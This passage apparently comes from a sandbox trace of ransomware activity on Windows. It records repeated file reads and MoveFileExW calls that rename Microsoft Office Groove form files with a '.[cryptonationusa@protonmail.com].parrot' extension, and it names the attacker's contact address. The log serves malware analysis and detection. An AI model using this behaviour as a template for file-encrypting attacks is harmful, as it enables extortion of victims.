lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.734] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.734] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa52f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa52f, lpOverlapped=0x0) returned 1 [0192.736] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.743] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.743] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.746] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.746] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21e5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x21e5, lpOverlapped=0x0) returned 1 [0192.747] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.752] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.754] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x350, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.759] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.759] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.760] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.760] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0192.760] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.827] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.828] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.829] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x366, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x366, lpOverlapped=0x0) returned 1 [0192.830] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.836] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.836] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.838] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.838] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x365, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x365, lpOverlapped=0x0) returned 1 [0192.838] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.845] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.846] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.847] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0192.847] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.851] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.852] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.852] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3ec, lpOverlapped=0x0) returned 1 [0192.853] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.856] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.856] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.858] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.858] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x37a, lpOverlapped=0x0) returned 1 [0192.858] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.862] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.862] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.866] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.866] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35f, lpOverlapped=0x0) returned 1 [0192.866] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.872] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.872] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.873] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.873] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xf1, lpOverlapped=0x0) returned 1 [0192.873] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.879] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.879] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.880] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.880] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35d, lpOverlapped=0x0) returned 1 [0192.880] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.884] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.884] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.886] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.886] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x354, lpOverlapped=0x0) returned 1 [0192.886] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.890] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.890] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.892] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x352, lpOverlapped=0x0) returned 1 [0192.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.896] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.896] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.897] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.897] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x373, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x373, lpOverlapped=0x0) returned 1 [0192.898] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.902] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.903] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.903] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa0, lpOverlapped=0x0) returned 1 [0192.903] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.907] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.908] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.909] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35c, lpOverlapped=0x0) returned 1 [0192.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft 